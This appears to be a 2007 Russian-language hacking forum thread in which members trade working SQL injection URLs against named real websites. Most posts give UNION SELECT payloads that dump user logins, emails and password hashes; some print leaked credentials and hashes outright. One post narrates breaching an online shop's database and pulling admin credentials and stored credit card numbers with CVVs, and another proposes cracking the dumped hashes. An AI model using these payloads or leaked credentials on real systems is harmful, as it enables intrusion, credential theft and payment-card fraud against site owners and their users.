SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    http://www.seredina.ru/for.php?id=1&city_id=1+union+select+pwd+from+admins+limit+7,1/*


    все правильно подобрал только почему-то не выводит
     
  2. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    WWW.SPORT.COM.UA

    Code:
    http://4u.sport.com.ua/players.phtml?country_id=1&player_id=-1+union+select+1,2,3/*
    названия таблиц подобрать не смог ((
     
    2 people like this.
  3. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Texas A & M University Psychology Department Home Page
    ]
    Code:
    http://psychology.tamu.edu/admin
    
    galexander:narf
     
    1 person likes this.
  4. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    2RAUL

    http://4u.sport.com.ua/players.phtml?country_id=1&player_id=-1+union+select+1,id,3+from+users/*

    http://4u.sport.com.ua/players.phtml?country_id=1&player_id=-1+union+select+1,password,3+from+users/*

    ID = 1
    PASS = 91c0a0fbe2633617b9400c60ba9e0127

    p.s в титле пишет
    pps http://4u.sport.com.ua/players.phtml?country_id=1&player_id=-1+union+select+1,name,3+from+players+limit+1,1/*
     
    #2964 noisia, 28 Aug 2007
    Last edited: 28 Aug 2007
    1 person likes this.
  5. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    _http://www.okp.kz/index.php?p=33+union+select+1,concat(login,0x3a,0x3a,0x3a,pwd,0x3a,0x3a,0x3a,0x3a,email),3,4,5,6,7,8,9,10+from+users/*

    зацените))
     
    2 people like this.
  6. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    _http://www.innovation.kz/index.php?p=43+union+select+1,2,3,pwd,5,6,7,8,9,10,11,12,13+from+users/*

    пароли и мыла, логин так и ненашел((
     
  7. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    http://www.lifestory.kz/index.php?p=32+union+select+1,concat(login,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,pwd,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,email),3,4,5,6,7,8,9,10+from+users/*

    вот еще красивая)
     
    1 person likes this.
  8. Nazaret2005

    Nazaret2005 Member

    Joined:
    11 Aug 2007
    Messages:
    25
    Likes Received:
    14
    Reputations:
    -9
    Держы,тут подключения идёт через почту ;)

    Code:
    http://www.innovation.kz/index.php?p=43+union+select+1,2,3,id,5,concat(email,char(58),pwd),7,8,9,10,11,12,13+from+users/*
     
    1 person likes this.
  9. Nazaret2005

    Nazaret2005 Member

    Joined:
    11 Aug 2007
    Messages:
    25
    Likes Received:
    14
    Reputations:
    -9
    :)
     
  10. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    4.0.26-standard:bt-lady:bt-lad

    администратор:32c264cbd961295d
     
    _________________________
    #2970 halkfild, 28 Aug 2007
    Last edited: 28 Aug 2007
  11. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    Не могу подобрать колонку юзеров,хотя пароли мыла нашел :) 4 мускул

    код:

    http://svadba.net.ru/info.php?id=-4077'+union+select+1,2,3,concat(email,pass),5,6,7,8,9+from+users/*

    p.s прошу прощения если боян,так как со смарта юзать антибоян неблагодарное дело :(
     
    #2971 sasTO, 28 Aug 2007
    Last edited: 28 Aug 2007
    1 person likes this.
  12. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    Попробуй таблу phpbb_users и колонки в ней username и user_password.
     
    #2972 Ksander, 28 Aug 2007
    Last edited: 29 Aug 2007
  13. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    http://svadba.net.ru/info.php?id=-4077'+union+select+1,2,3,concat_ws(0x3a,username,user_password,user_email),5,6,7,8,9+from+phpbb_users/*

    много мыл и хешей.. :)

    ну и теперь достать пассы с самого сайта это все брутануть по списку и все :) /*думаю там процентов 50 сбрутится по списку*/
     
    _________________________
    #2973 halkfild, 28 Aug 2007
    Last edited: 29 Aug 2007
  14. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    PR - 5
    observatorioviolencia.org

    4.1.22-standard-log:eek:riginb8_webuser@localhost:eek:riginb8_observatorioviolencia

    з.ы. все таблици на французком.. интересно в какой таблице юзвери.. /*usager, usagers - не подходят(*/

    PR - 5
    worldrtd.net

    4.1.15-Debian_1ubuntu5-log:worldrtd@localhost:worldrtddb
     
    _________________________
    #2974 halkfild, 29 Aug 2007
    Last edited: 29 Aug 2007
    1 person likes this.
  15. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    SQL Инъекция проведена Noisia и x.Elf



    Сайт: http://mobile.zensis.com/buy.php?pid=-0101'
    БД: mYSQL5
    Для начала мы нашли базы:
    Code:
    edu
    fengshuima
    fotogb_forum
    fsm_forum
    fungshuima
    fungshuima_cart.cart_admin
    fungshuimablog
    match3g
    mobolan
    mysql
    photo_gallery
    test
    test_table
    yahooj2medemo
    zabbix
    zensis_test
    Потом таблицы:
    Code:
    cart_address_book
    cart_address_format
    cart_admin
    cart_admin_activity_log
    cart_authorizenet
    cart_banners
    cart_banners_history
    cart_categories
    cart_categories_description
    cart_configuration
    cart_configuration_group
    cart_counter
    cart_counter_history
    cart_countries
    cart_coupon_email_track
    cart_coupon_gv_customer
    cart_coupon_gv_queue
    cart_coupon_redeem_track
    cart_coupon_restrict
    cart_coupons
    cart_currencies
    cart_customers
    cart_customers_basket
    cart_customers_basket_attributes
    cart_customers_info
    cart_customers_wishlist
    cart_db_cache
    cart_email_archive
    cart_featured
    cart_files_uploaded
    cart_geo_zones
    cart_get_terms_to_filter
    cart_group_pricing
    cart_languages
    cart_layout_boxes
    cart_manufacturers
    cart_manufacturers_info
    cart_media_clips
    cart_media_manager
    cart_media_to_products
    cart_media_types
    cart_meta_tags_products_description
    cart_music_genre
    cart_newsletters
    cart_orders
    cart_orders_products
    cart_orders_products_attributes
    cart_orders_products_download
    cart_orders_status
    cart_orders_status_history
    cart_orders_total
    cart_paypal
    cart_paypal_payment_status
    cart_paypal_payment_status_history
    cart_paypal_session
    cart_product_music_extra
    cart_product_type_layout
    cart_product_types
    cart_product_types_to_category
    cart_products
    cart_products_attributes
    cart_products_attributes_download
    cart_products_description
    cart_products_discount_quantity
    cart_products_notifications
    cart_products_options_types
    cart_products_options_values
    cart_products_options_values_to_products_options
    cart_products_to_categories
    cart_project_version
    cart_project_version_history
    cart_query_builder
    cart_record_artists
    cart_record_artists_info
    cart_record_company
    cart_record_company_info
    cart_reviews
    cart_reviews_description
    cart_salemaker_sales
    cart_sessions
    cart_specials
    cart_tax_rates
    cart_template_select
    cart_upgrade_exceptions
    cart_zones
    cart_zones_to_geo_zones
    Потом колумны:
    Code:
    birthday
    age
    grade
    placeofbirth
    gender
    school_info_id
    addr1_e
    addr2_e
    addr3_e
    district_s_code
    regioncode
    student_tel
    student_fax
    student_email
    iq_test
    iq_test_date
    iq_test_age
    iq
    fathernamee
    fathernamec
    fatherphone
    fatheroccupation
    mothernamee
    motherphone
    motheroccupation
    course_code_1
    course_code_2
    course_code_3
    config_id
    type
    name
    display
    value
    class
    course_info_id
    course_code
    course_date
    name_e
    desc_e
    desc_c
    remark_e
    remark_c
    districtcode
    district_l_e
    district_s_id
    district_s_c
    region_id
    region_c
    region_e
    family_seq
    addr_e
    addr_c
    principal_e
    tel
    email
    user_id
    username
    password
    nickname
    adminlevel
    blacklist_seq
    member_id
    heading
    blog_seq
    remark
    content
    photopath
    status
    last_upd_date
    family_id
    relation
    friends_seq
    matched_id
    score1
    score2
    scorecombined
    dateofbirth
    sex
    location1
    location2
    description1
    description2
    description3
    description4
    description5
    description6
    smoking
    drinking
    vegetarian
    height
    body
    religion
    living
    night_life
    pets_detail
    like_pets_detail
    maritalstatus
    travel_places
    education
    lived_places
    hope_travel_places
    job
    jobtime
    joblocation2
    personality1
    personality2
    personality3
    personality4
    personality5
    personality6
    personality7
    personality8
    personality9
    horo
    mh_age_s
    mh_age_e
    mh_sex
    mh_location1
    mh_location2
    mh_location1_weight
    mh_body
    mh_body_weight
    mh_height_s
    mh_height_e
    mh_height_weight
    mh_religion
    mobile
    operator
    Перебираем...

    http://www.aboutus.org/ZenSis.com
    Смотрим сколько сайтов держит бд...


    Code:
    http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(username,0x3a,password)+from+edu.user+limit+1,1/*
    
    Логин пассы от сайта http://www.fotogb.com/

    ___

    нашли инет магазин

    https://store.zarinfabrics.com
    Оплата через кредитки, держится все на той же БД


    Подобрали базу к таблице.. fungshuima_cart.cart_admin
    _____

    И делаем такой запрос :))

    http://mobile.zensis.com/buy.php?pid=-0101+union+select+column_name+from+information_schema.columns+where+table_name='cart_admin'+limit+3,1/*
    теперь

    http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(admin_name,0x21,admin_pass,0x21,admin_email,0x21,admin_level)+from+fungshuima_cart.cart_admin/*
    ___

    Подбираем данные, и лезим в кредитки шопа

    http://mobile.zensis.com/buy.php?pid=-0101+union+select+concat(cc_type,0x3a,0x3a,cc_owner,0x3a,0x3a,cc_number,0x3a,0x3a,cc_expires,0x3a,0x3a,cc_cvv,0x3a,0x3a)+from+fungshuima_cart.cart_orders+limit+1,1/*

    но в конце большой облом, КРЕДИТКА ВСЕГО ОДНА.
    Зато много опыта, и чужая просроченая кредитка:))
     
    2 people like this.
  16. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    и убили время :)
     
    2 people like this.
  17. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Покопался, ничё не нащёл, выбрасывать жалко, может комунить и пригодится :)
    _http://www.teamarena.ru/demo/99999999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13/*
     
  18. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    в общем не знаю как на реагируют на доработку чужих инъекций (один раз какой то агро попался -)) о.О или тут так принято?)
    но все же решил добавить чуть побольше информации...
    http://www.bt-lady.com.ua/?show_bs=yes&id=-20+union+select+concat_ws(0x3a,username,user_password,user_email),user(),user_password+from+phpbb_users+where+user_level=1/*

    администратор:32c264cbd961295d

    bt-lady@localhost
    32c264cbd961295d38f038b560128362
    _____
    попробовал зайти на фтп (не загрузилось. в админку тоже не пускает с такими данными)
    _____
    Michelle:d650735de450759a3a801

    bt-lady@localhost
    d650735de450759a3a801c4174469d2f
     
    #2978 Calcutta, 29 Aug 2007
    Last edited: 29 Aug 2007
  19. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    этой записи нет в антибояне я листать 300 страниц нет особого желания..

    з.ы. к админам, модерам и тд.. давайте сделаем скрипт который позволит каждому добавлять его скулю.. это исключит такие ситуации.. заодно в добавлении сделать проверки есть ли этот скуль и тогда будет такой порядок действий:

    1 добавил/проверил в антибоян..
    2 запостил на форуме
     
    _________________________
    1 person likes this.
  20. noisia

    noisia Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    http://www.webkoleso.ru/index.php?pageId=3&comp=22+union+select+1,2,3,4/*
    таблицы неподобрал
     
Thread Status:
Not open for further replies.